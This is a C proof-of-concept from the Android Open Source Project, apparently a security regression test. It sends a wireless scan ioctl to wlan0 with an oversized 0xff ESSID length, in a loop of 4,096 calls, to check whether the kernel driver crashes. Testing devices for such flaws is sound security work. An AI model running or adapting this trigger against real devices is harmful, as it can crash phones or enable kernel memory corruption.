1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #include <android/log.h> 17 #include <dirent.h> 18 #include <dlfcn.h> 19 #include <errno.h> 20 #include <fcntl.h> 21 #include <jni.h> 22 #include <limits.h> 23 #include <net/if.h> 24 #include <stdio.h> 25 #include <stdlib.h> 26 #include <string.h> 27 #include <sys/ioctl.h> 28 #include <sys/socket.h> 29 #include <sys/stat.h> 30 #include <sys/types.h> 31 #include <sys/types.h> 32 #include <unistd.h> 33 #define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */ 34 #define AID_NET_RAW 3004 /* can create raw INET sockets */ 35 #define AID_NET_ADMIN 3005 36 #define SIOCSIWPRIV 0x8B0C 37 #define SIOCGIWNAME 0x8B01 38 #define SIOCGIWRANGE 0x8B0B 39 #define SIOCSIWSCAN 0x8B18 40 #define SIOCSIWSPY 0x8B10 41 #define IW_ESSID_MAX_SIZE 32 42 #define IW_MAX_FREQUENCIES 32 43 #define SIR_MAC_MAX_SSID_LENGTH 32 44 #define IW_SCAN_THIS_ESSID 0x0002 45 46 typedef int __s32; 47 typedef unsigned char __u8; 48 typedef unsigned short __u16; 49 50 struct iw_param { 51 __s32 value; /* The value of the parameter itself */ 52 __u8 fixed; /* Hardware should not use auto select */ 53 __u8 disabled; /* Disable the feature */ 54 __u16 flags; /* Various specifc flags (if any) */ 55 }; 56 57 struct iw_point { 58 void *pointer; /* Pointer to the data (in user space) */ 59 __u16 length; /* number of fields or size in bytes */ 60 __u16 flags; /* Optional params */ 61 }; 62 63 struct iw_quality { 64 __u8 qual; /* link quality (%retries, SNR, 65 %missed beacons or better...) */ 66 __u8 level; /* signal level (dBm) */ 67 __u8 noise; /* noise level (dBm) */ 68 __u8 updated; /* Flags to know if updated */ 69 }; 70 71 struct iw_freq { 72 __s32 m; /* Mantissa */ 73 __s16 e; /* Exponent */ 74 __u8 i; /* List index (when in range struct) */ 75 __u8 flags; /* Flags (fixed/auto) */ 76 }; 77 78 union iwreq_data { 79 /* Config - generic */ 80 char name[IFNAMSIZ]; 81 /* Name : used to verify the presence of wireless extensions. 82 * Name of the protocol/provider... */ 83 struct iw_point essid; /* Extended network name */ 84 struct iw_param nwid; /* network id (or domain - the cell) */ 85 struct iw_freq freq; /* frequency or channel : 86 * 0-1000 = channel 87 * > 1000 = frequency in Hz */ 88 struct iw_param sens; /* signal level threshold */ 89 struct iw_param bitrate; /* default bit rate */ 90 struct iw_param txpower; /* default transmit power */ 91 struct iw_param rts; /* RTS threshold threshold */ 92 struct iw_param frag; /* Fragmentation threshold */ 93 __u32 mode; /* Operation mode */ 94 struct iw_param retry; /* Retry limits & lifetime */ 95 struct iw_point encoding; /* Encoding stuff : tokens */ 96 struct iw_param power; /* PM duration/timeout */ 97 struct iw_quality qual; /* Quality part of statistics */ 98 struct sockaddr ap_addr; /* Access point address */ 99 struct sockaddr addr; /* Destination address (hw/mac) */ 100 struct iw_param param; /* Other small parameters */ 101 struct iw_point data; /* Other large parameters */ 102 }; 103 104 struct iwreq { 105 union { 106 char ifrn_name[IFNAMSIZ]; 107 } ifr_ifrn; 108 union iwreq_data u; 109 }; 110 111 struct iw_scan_req { 112 __u8 scan_type; 113 __u8 essid_len; 114 __u8 num_channels; 115 __u8 flags; 116 struct sockaddr bssid; 117 __u8 essid[IW_ESSID_MAX_SIZE]; 118 __u32 min_channel_time; /* in TU */ 119 __u32 max_channel_time; /* in TU */ 120 struct iw_freq channel_list[IW_MAX_FREQUENCIES]; 121 }; 122 123 int main(void) { 124 int fd; 125 int ret = -2; 126 struct iwreq prIwReq; 127 int i = 0; 128 struct iw_scan_req *scan_req; 129 if (getuid() != 0) 130 return -1; 131 gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN}; 132 setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups); 133 setuid(2000); 134 fd = socket(AF_INET, SOCK_STREAM, 0); 135 if (fd == -1) { 136 perror("[-] socket failed!\n"); 137 return -1; 138 } 139 strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ); 140 prIwReq.ifr_name[IFNAMSIZ - 1] = '\0'; 141 scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff); 142 memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff); 143 scan_req->essid_len = 0xff; 144 prIwReq.u.data.length = sizeof(struct iw_scan_req); 145 prIwReq.u.data.pointer = scan_req; 146 147 prIwReq.u.data.flags = IW_SCAN_THIS_ESSID; 148 for (i = 0; i < 0x1000; ++i) { 149 errno = 0; 150 ret = ioctl(fd, SIOCSIWSCAN, &prIwReq); 151 printf(" try %d times, %s crashed ? \n", i, strerror(errno)); 152 } 153 return 0; 154 } 155